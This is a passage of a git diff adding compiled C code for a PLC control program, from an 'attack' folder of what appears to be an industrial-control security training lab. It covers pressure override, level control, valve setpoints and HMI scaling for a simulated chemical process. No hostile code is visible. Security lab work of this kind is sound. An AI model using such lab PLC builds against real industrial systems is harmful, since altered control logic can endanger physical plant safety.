__SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT 